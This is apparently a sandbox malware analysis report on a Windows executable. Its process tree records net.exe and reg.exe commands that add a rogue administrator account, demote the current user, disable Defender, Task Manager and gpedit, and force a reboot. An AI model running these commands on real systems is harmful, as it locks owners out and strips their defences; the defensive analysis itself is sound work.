Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    115s
  • max time network
    118s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/01/2025, 23:26

General

  • Target

    Lose2himatoV2.exe

  • Size

    138.5MB

  • MD5

    b13b58171063faf469d7cffd178644a6

  • SHA1

    0cc178b5db25710be4181e0f15b70ca8c3049ef2

  • SHA256

    974cb763c5670a8c187c5e7108964741b8c59590ac35f3bdccb2e069e2ec7506

  • SHA512

    511d96d59fc5646aead6f0bf16ecbe9f9e1ab60e05954b02d2b53c7686df2ccfe85374388fc5aece04e50bd37ff3411319c7107d52cc33c3af819fb47ab570e3

  • SSDEEP

    786432:Y93oFjO6NbbB6uTE/kbsV0jmB/gWD4otJ0njnEMIQAhpLoMS/QVQfmLh0VPdTtLH:Y9SjOsbbUng40ihpEX/QVQfmLmxHXutU

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Disables Task Manager via registry modification
  • Indicator Removal: Network Share Connection Removal 1 TTPs 1 IoCs

    Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Detected potential entity reuse from brand PAYPAL.
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • System Location Discovery: System Language Discovery 1 TTPs 29 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 2 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 42 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Lose2himatoV2.exe
    "C:\Users\Admin\AppData\Local\Temp\Lose2himatoV2.exe"
    1⤵
    • Checks computer location settings
    • Sets desktop wallpaper using registry
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3828
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c net user Lose2himato /add
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4980
      • C:\Windows\SysWOW64\net.exe
        net user Lose2himato /add
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1232
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 user Lose2himato /add
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4756
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c net user Lose2himato dumbass
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2716
      • C:\Windows\SysWOW64\net.exe
        net user Lose2himato dumbass
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2112
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 user Lose2himato dumbass
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4836
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c net localgroup Administrators "Lose2himato" /add
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4556
      • C:\Windows\SysWOW64\net.exe
        net localgroup Administrators "Lose2himato" /add
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3164
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 localgroup Administrators "Lose2himato" /add
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1028
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c net localgroup Administrators "%USERNAME%" /delete
      2⤵
      • Indicator Removal: Network Share Connection Removal
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4356
      • C:\Windows\SysWOW64\net.exe
        net localgroup Administrators "Admin" /delete
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:232
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 localgroup Administrators "Admin" /delete
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4780
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Microsoft Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2040
      • C:\Windows\SysWOW64\reg.exe
        REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Microsoft Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4680
    • C:\Windows\SysWOW64\explorer.exe
      "explorer.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Modifies registry class
      PID:760
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\MySingleFileApp\wallpaper.bmp /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3908
      • C:\Windows\SysWOW64\reg.exe
        REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\MySingleFileApp\wallpaper.bmp /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1972
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v WallpaperStyle /t REG_SZ /d 3 /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2328
      • C:\Windows\SysWOW64\reg.exe
        REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v WallpaperStyle /t REG_SZ /d 3 /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2204
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2144
      • C:\Windows\SysWOW64\reg.exe
        REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2752
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableGpedit /t REG_DWORD /d 1 /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5036
      • C:\Windows\SysWOW64\reg.exe
        REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableGpedit /t REG_DWORD /d 1 /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3048
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start https://x.com/Lose2hxm4to
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3736
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://x.com/Lose2hxm4to
        3⤵
          PID:2024
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7fff658946f8,0x7fff65894708,0x7fff65894718
            4⤵
              PID:3752
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2168,3676407379898323607,16134566481349838870,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2180 /prefetch:2
              4⤵
                PID:2400
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2168,3676407379898323607,16134566481349838870,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2240 /prefetch:3
                4⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:2208
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c start https://discord.gg/UkEYppsAck
            2⤵
            • System Location Discovery: System Language Discovery
            PID:1040
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://discord.gg/UkEYppsAck
              3⤵
              • Enumerates system info in registry
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              PID:940
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7fff658946f8,0x7fff65894708,0x7fff65894718
                4⤵
                  PID:3164
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2072 /prefetch:2
                  4⤵
                    PID:1780
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 /prefetch:3
                    4⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:5108
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2772 /prefetch:8
                    4⤵
                      PID:4420
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3360 /prefetch:1
                      4⤵
                        PID:3576
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3368 /prefetch:1
                        4⤵
                          PID:2708
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3836 /prefetch:1
                          4⤵
                            PID:5312
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4052 /prefetch:1
                            4⤵
                              PID:5384
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4992 /prefetch:1
                              4⤵
                                PID:5820
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5528 /prefetch:1
                                4⤵
                                  PID:6016
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4196 /prefetch:1
                                  4⤵
                                    PID:6104
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5480 /prefetch:8
                                    4⤵
                                      PID:5852
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=4404 /prefetch:8
                                      4⤵
                                      • Modifies registry class
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:4376
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6532 /prefetch:8
                                      4⤵
                                        PID:5324
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6532 /prefetch:8
                                        4⤵
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:5688
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5044 /prefetch:1
                                        4⤵
                                          PID:5756
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4108 /prefetch:1
                                          4⤵
                                            PID:4592
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6088 /prefetch:1
                                            4⤵
                                              PID:5248
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6620 /prefetch:1
                                              4⤵
                                                PID:1084
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6400 /prefetch:1
                                                4⤵
                                                  PID:3148
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6552 /prefetch:1
                                                  4⤵
                                                    PID:6120
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3424 /prefetch:1
                                                    4⤵
                                                      PID:3016
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3516 /prefetch:1
                                                      4⤵
                                                        PID:1704
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9116591885510705092,10601180688966954676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4412 /prefetch:1
                                                        4⤵
                                                          PID:5156
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /c start https://www.paypal.com/paypalme/himato666
                                                      2⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:1428
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.paypal.com/paypalme/himato666
                                                        3⤵
                                                          PID:312
                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7fff658946f8,0x7fff65894708,0x7fff65894718
                                                            4⤵
                                                              PID:4332
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2144,3432970839344156359,8007013721442569733,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2168 /prefetch:2
                                                              4⤵
                                                                PID:880
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2144,3432970839344156359,8007013721442569733,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2236 /prefetch:3
                                                                4⤵
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                PID:1828
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c shutdown /r
                                                            2⤵
                                                            • System Location Discovery: System Language Discovery
                                                            PID:4756
                                                            • C:\Windows\SysWOW64\shutdown.exe
                                                              shutdown /r
                                                              3⤵
                                                              • System Location Discovery: System Language Discovery
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:4852
                                                        • C:\Windows\System32\CompPkgSrv.exe
                                                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                          1⤵
                                                            PID:5284
                                                          • C:\Windows\System32\CompPkgSrv.exe
                                                            C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                            1⤵
                                                              PID:5484
                                                            • C:\Windows\system32\AUDIODG.EXE
                                                              C:\Windows\system32\AUDIODG.EXE 0x508 0x4f8
                                                              1⤵
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:5576
                                                            • C:\Windows\System32\CompPkgSrv.exe
                                                              C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                              1⤵
                                                                PID:5376
                                                              • C:\Windows\system32\LogonUI.exe
                                                                "LogonUI.exe" /flags:0x4 /state0:0xa397b055 /state1:0x41c64e6d
                                                                1⤵
                                                                • Modifies data under HKEY_USERS
                                                                • Suspicious use of SetWindowsHookEx
                                                                PID:60

                                                              Network

                                                              MITRE ATT&CK Enterprise v15

                                                              Replay Monitor

                                                              Loading Replay Monitor...

                                                              Downloads

                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                                                Filesize

                                                                152B

                                                                MD5

                                                                f426165d1e5f7df1b7a3758c306cd4ae

                                                                SHA1

                                                                59ef728fbbb5c4197600f61daec48556fec651c1

                                                                SHA256

                                                                b68dfc21866d0abe5c75d70acc54670421fa9b26baf98af852768676a901b841

                                                                SHA512

                                                                8d437fcb85acb0705bf080141e7a021740901248985a76299ea8c43e46ad78fb88c738322cf302f6a550caa5e79d85b36827e9b329b1094521b17cf638c015b6

                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                                                Filesize

                                                                152B

                                                                MD5

                                                                6960857d16aadfa79d36df8ebbf0e423

                                                                SHA1

                                                                e1db43bd478274366621a8c6497e270d46c6ed4f

                                                                SHA256

                                                                f40b812ce44e391423eb66602ac0af138a1e948aa8c4116045fef671ef21cd32

                                                                SHA512

                                                                6deb2a63055a643759dd0ae125fb2f68ec04a443dbf8b066a812b42352bbcfa4517382ed0910c190c986a864559c3453c772e153ee2e9432fb2de2e1e49ca7fe

                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000066

                                                                Filesize

                                                                215KB

                                                                MD5

                                                                d79b35ccf8e6af6714eb612714349097

                                                                SHA1

                                                                eb3ccc9ed29830df42f3fd129951cb8b791aaf98

                                                                SHA256

                                                                c8459799169b81fdab64d028a9ebb058ea2d0ad5feb33a11f6a45a54a5ccc365

                                                                SHA512

                                                                f4be1c1e192a700139d7cff5059af81c0234ed5f032796036a1a4879b032ce4eedd16a121bbf776f17bc84a0012846f467ad48b46db4008841c25b779c7d8f5a

                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

                                                                Filesize

                                                                6KB

                                                                MD5

                                                                08da847ac8e3d929cb516094b455d0b3

                                                                SHA1

                                                                609a046f0dcb0475d9e9e01e63246aa2fec95d54

                                                                SHA256

                                                                41e169b3df01d72ba2af60245c67af78798ebf043c096e11581e2fc1c1281480

                                                                SHA512

                                                                8ba8fe69f0f094ca4a4872c3d823ebedacfba6b4f7a951c5a3e9a9d431c01f70588bd17192c27fabd67918d12ca59bec16a7dbb1612b76ff7d6a104267d24f5a

                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                                                                Filesize

                                                                2KB

                                                                MD5

                                                                d4837d24cd077ad2de34dc8f016bca16

                                                                SHA1

                                                                015a29a355704ba4d914f1905492e99db91f63d4

                                                                SHA256

                                                                7a5143b643874ad0c4d7a5c96bdc004ac424dfcf9cd8d488805d9a3846fa1fb0

                                                                SHA512

